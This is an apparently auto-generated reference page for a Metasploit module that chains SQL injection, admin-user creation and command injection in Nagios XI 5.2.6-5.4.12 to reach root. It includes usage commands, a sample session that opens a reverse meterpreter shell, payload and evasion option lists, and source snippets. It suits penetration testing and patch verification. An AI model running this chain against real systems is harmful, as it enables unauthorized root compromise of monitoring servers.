Nagios XI Chained Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Nagios XI Chained Remote Code Execution
Module: exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
Source code: modules/exploits/linux/http/nagios_xi_chained_rce_2_electric_boogaloo.rb
Disclosure date: 2018-04-17
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-8733, CVE-2018-8734, CVE-2018-8735, CVE-2018-8736
This module exploits a few different vulnerabilities in Nagios XI 5.2.6-5.4.12 to gain remote root access. The steps are: 1. Issue a POST request to /nagiosql/admin/settings.php which sets the database user to root. 2. SQLi on /nagiosql/admin/helpedit.php allows us to enumerate API keys. 3. The API keys are then used to add an administrative user. 4. An authenticated session is established with the newly added user 5. Command Injection on /nagiosxi/backend/index.php allows us to execute the payload with nopasswd sudo, giving us a root shell. 6. Remove the added admin user and reset the database user.
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
msf exploit(nagios_xi_chained_rce_2_electric_boogaloo) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Nagios XI 5.2.6 - 5.4.12 Chained Remote Root RCE
This exploit combines many different vulnerabilities in Nagios XI to gain remote root access to the affected host. The process is:
- Reset the database user to root.
- Exploit SQL injection to extract api keys.
- Use api key to add administrative user.
- Authenticate to application using newly added user.
- Exploit command injection and sudo misconfiguration to get remote root shell.
- Remove added admin user, and reset database user.
See our blog post for more information
Verification Steps
use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogalooset rhost <IP>exploit- A meterpreter session should have been opened successfully
Scenarios
Nagios 5.2.7 on CentOS 6.7
msf5 > use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
msf5 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > set rhost 172.22.222.182
rhost => 172.22.222.182
msf5 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > run
[*] Started reverse TCP handler on 172.22.222.177:4444
[*] Command Stager progress - 100.00% done (705/705 bytes)
[*] Sending stage (857352 bytes) to 172.22.222.182
[*] Meterpreter session 1 opened (172.22.222.177:4444 -> 172.22.222.182:35262) at 2018-06-29 11:04:03 -0500
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : localhost.localdomain
OS : CentOS 6.9 (Linux 2.6.32-696.10.2.el6.x86_64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the linux/http/nagios_xi_chained_rce_2_electric_boogaloo exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > show info
Name: Nagios XI Chained Remote Code Execution
Module: exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo
Platform: Linux
Arch: x86
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2018-04-17
Provided by:
Cale Smith
Benny Husted
Jared Arave
Available targets:
Id Name
-- ----
0 Nagios XI 5.2.6 <= 5.4.12
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a few different vulnerabilities in Nagios XI
5.2.6-5.4.12 to gain remote root access. The steps are: 1. Issue a
POST request to /nagiosql/admin/settings.php which sets the database
user to root. 2. SQLi on /nagiosql/admin/helpedit.php allows us to
enumerate API keys. 3. The API keys are then used to add an
administrative user. 4. An authenticated session is established with
the newly added user 5. Command Injection on
/nagiosxi/backend/index.php allows us to execute the payload with
nopasswd sudo, giving us a root shell. 6. Remove the added admin
user and reset the database user.
References:
https://www.exploit-db.com/exploits/44560
https://nvd.nist.gov/vuln/detail/CVE-2018-8733
https://nvd.nist.gov/vuln/detail/CVE-2018-8734
https://nvd.nist.gov/vuln/detail/CVE-2018-8735
https://nvd.nist.gov/vuln/detail/CVE-2018-8736
http://blog.redactedsec.net/exploits/2018/04/26/nagios.html
Module Options
This is a complete list of options available in the linux/http/nagios_xi_chained_rce_2_electric_boogaloo exploit:
msf6 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > show options
Module options (exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nagios XI 5.2.6 <= 5.4.12
Advanced Options
Here is a complete list of advanced options supported by the linux/http/nagios_xi_chained_rce_2_electric_boogaloo exploit:
msf6 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > show advanced
Module advanced options (exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, printf)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 30 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/nagios_xi_chained_rce_2_electric_boogaloo module can exploit:
msf6 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > show targets
Exploit targets:
Id Name
-- ----
0 Nagios XI 5.2.6 <= 5.4.12
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nagios_xi_chained_rce_2_electric_boogaloo exploit:
msf6 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x86/adduser normal No Linux Add User
6 payload/linux/x86/chmod normal No Linux Chmod
7 payload/linux/x86/exec normal No Linux Execute Command
8 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
9 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
10 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
11 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
12 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
13 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
14 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
15 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
16 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
17 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
18 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
19 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
20 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
21 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
22 payload/linux/x86/read_file normal No Linux Read File
23 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
24 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
26 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
27 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
28 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
29 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
30 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
31 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
32 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
33 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
34 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
35 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
36 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/nagios_xi_chained_rce_2_electric_boogaloo exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/nagios_xi_chained_rce_2_electric_boogaloo) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- Could not check nagios version
- Try nagios_xi_chained for this version.
- STEP <STEP>: Unexpected response setting db user to root
- STEP 2: Unexpected response extracting api keys
- Could not parse api keys
- STEP 3: Failed to add a user.
- STEP 4.1: Could not get nsp string for login
- STEP 4.2 Could not get authed nsp string.
- Could not find nsp_str
- Could not find nagiosxi cookie
- STEP 5.1: Command execution failed
- STEP 5.2: Command cleanup failed
- STEP 0: Vulnerable version not found! punt!
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Could not check nagios version
Here is a relevant code snippet related to the "Could not check nagios version" error message:
69: 'method' => 'GET',
70: 'uri' => '/nagiosxi/'
71: })
72:
73: if !res || !res.get_html_document
74: fail_with(Failure::Unknown, 'Could not check nagios version')
75: end
76:
77: if (@version = res.get_html_document.at('//input[@name = "version"]/@value').text)
78: @version = Rex::Version.new(@version)
79: vprint_good("STEP 0: Found Nagios XI version: #{@version.to_s}")
Try nagios_xi_chained for this version.
Here is a relevant code snippet related to the "Try nagios_xi_chained for this version." error message:
76:
77: if (@version = res.get_html_document.at('//input[@name = "version"]/@value').text)
78: @version = Rex::Version.new(@version)
79: vprint_good("STEP 0: Found Nagios XI version: #{@version.to_s}")
80: if @version < target[:lower_version]
81: vprint_bad('Try nagios_xi_chained for this version.')
82: elsif (@version <= target[:upper_version] && @version >= target[:lower_version])
83: return CheckCode::Appears
84: end
85: end
86: CheckCode::Safe
STEP <STEP>: Unexpected response setting db user to root
Here is a relevant code snippet related to the "STEP <STEP>: Unexpected response setting db user to root" error message:
111: 'selSeldisable'=>1
112: }
113: })
114:
115: if !res || res.code != 302
116: fail_with(Failure::UnexpectedReply,"STEP #{step}: Unexpected response setting db user to root")
117: end
118: vprint_status "STEP #{step}: Received a 302 Response. That's good!"
119: end
120:
121: def get_api_keys
STEP 2: Unexpected response extracting api keys
Here is a relevant code snippet related to the "STEP 2: Unexpected response extracting api keys" error message:
139: 'modus'=>0
140: }
141: })
142:
143: if !res || res.code != 302 || !res.body
144: fail_with(Failure::UnexpectedReply,'STEP 2: Unexpected response extracting api keys')
145: end
146:
147: vprint_status 'STEP 2: Received a 302 Response. That\'s good!'
148: parse_api_key(res.body)
149: end
Could not parse api keys
Here is a relevant code snippet related to the "Could not parse api keys" error message:
159: api_keys << key
160: end
161: end
162:
163: if api_keys.length < 1
164: fail_with(Failure::Unknown, 'Could not parse api keys')
165: end
166:
167: vprint_status "Found #{api_keys.length.to_s} unique api keys"
168: api_keys.each do |key|
169: vprint_status key
STEP 3: Failed to add a user.
Here is a relevant code snippet related to the "STEP 3: Failed to add a user." error message:
180: if (user_id.to_i > 0)
181: vprint_good "Added user:#{username} password:#{password} userid:#{user_id}"
182: return user_id.to_s, key
183: end
184: end
185: fail_with(Failure::Unknown, 'STEP 3: Failed to add a user.')
186: end
187:
188: def try_add_admin(key, username, passwd)
189: vprint_status "STEP 3: trying to add admin user with key #{key}"
190: res = send_request_cgi({
STEP 4.1: Could not get nsp string for login
Here is a relevant code snippet related to the "STEP 4.1: Could not get nsp string for login" error message:
231: 'method' => 'POST',
232: 'ctype' => 'application/x-www-form-urlencoded'
233: })
234:
235: if !res || !res.body
236: fail_with(Failure::Unknown, 'STEP 4.1: Could not get nsp string for login')
237: end
238:
239: login_nsp = parse_nsp_str(res.body)
240: vprint_status "STEP 4.1: login_nsp #{login_nsp} "
241:
STEP 4.2 Could not get authed nsp string.
Here is a relevant code snippet related to the "STEP 4.2 Could not get authed nsp string." error message:
258: 'loginButton' => ''
259: }
260: })
261:
262: if !res || res.code != 302
263: fail_with(Failure::Unknown, 'STEP 4.2 Could not get authed nsp string.')
264: end
265:
266: authed_nagiosxi = parse_nagiosxi(res)
267: vprint_status "STEP 4.2: authed_nagiosxi #{authed_nagiosxi}"
268: authed_nagiosxi
Could not find nsp_str
Here is a relevant code snippet related to the "Could not find nsp_str" error message:
270:
271: def parse_nsp_str(resp_body)
272: nsp_strs = /var nsp_str = "(.+)";\n/.match(resp_body)
273:
274: unless nsp_strs || nsp_strs.length < 2
275: fail_with(Failure::NotFound, 'Could not find nsp_str')
276: end
277:
278: nsp_strs[1]
279: end
280:
Could not find nagiosxi cookie
Here is a relevant code snippet related to the "Could not find nagiosxi cookie" error message:
281: def parse_nagiosxi(res)
282: cookie = res.get_cookies
283: matches = /.*nagiosxi=(.+);/.match(cookie)
284:
285: unless matches || matches.length < 2
286: fail_with(Failure::NotFound, 'Could not find nagiosxi cookie')
287: end
288:
289: matches[1]
290: end
291:
STEP 5.1: Command execution failed
Here is a relevant code snippet related to the "STEP 5.1: Command execution failed" error message:
321:
322: vprint_status 'STEP 5.1: executing payload'
323: res = send_request_cgi(opts_exec)
324:
325: if !res || res.code != 200
326: fail_with(Failure::Unknown, 'STEP 5.1: Command execution failed')
327: end
328:
329: vprint_status 'STEP 5.2: removing scripts from disc'
330: res = send_request_cgi(opts_cleanup)
331:
STEP 5.2: Command cleanup failed
Here is a relevant code snippet related to the "STEP 5.2: Command cleanup failed" error message:
328:
329: vprint_status 'STEP 5.2: removing scripts from disc'
330: res = send_request_cgi(opts_cleanup)
331:
332: if !res || res.code != 200
333: fail_with(Failure::Unknown, 'STEP 5.2: Command cleanup failed')
334: end
335: end
336:
337: def exploit
338: if check != CheckCode::Appears
STEP 0: Vulnerable version not found! punt!
Here is a relevant code snippet related to the "STEP 0: Vulnerable version not found! punt!" error message:
334: end
335: end
336:
337: def exploit
338: if check != CheckCode::Appears
339: fail_with(Failure::NotVulnerable, 'STEP 0: Vulnerable version not found! punt!')
340: end
341:
342: set_db_user('root', 'nagiosxi')
343:
344: keys = get_api_keys
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #14212 Merged Pull Request: Fix invalid disclosure date formats
- #11019 Merged Pull Request: Replace WsfDelay with WfsDelay - Fixes #11018
- #9958 Merged Pull Request: Nagios xi 2 electric
References
- EDB-44560
- CVE-2018-8733
- CVE-2018-8734
- CVE-2018-8735
- CVE-2018-8736
- http://blog.redactedsec.net/exploits/2018/04/26/nagios.html
See Also
Check also the following modules related to this module:
- exploit/linux/http/nagios_xi_autodiscovery_webshell
- exploit/linux/http/nagios_xi_chained_rce
- exploit/linux/http/nagios_xi_magpie_debug
- exploit/linux/http/nagios_xi_mibs_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/linux/http/nagios_xi_snmptrap_authenticated_rce
- exploit/linux/misc/nagios_nrpe_arguments
- auxiliary/scanner/http/nagios_xi_scanner
- exploit/unix/webapp/nagios_graph_explorer
- exploit/unix/webapp/nagios3_history_cgi
- exploit/unix/webapp/nagios3_statuswml_ping
- post/linux/gather/enum_nagios_xi
- exploit/linux/http/axis_app_install
- exploit/linux/http/axis_srv_parhand_rce
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/local/exim4_deliver_message_priv_esc
- exploit/linux/smtp/exim4_dovecot_exec
- exploit/linux/smtp/exim_gethostbyname_bof
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce
- exploit/windows/http/exchange_chainedserializationbinder_rce
- exploit/unix/http/schneider_electric_net55xx_encoder
Authors
- Cale Smith
- Benny Husted
- Jared Arave
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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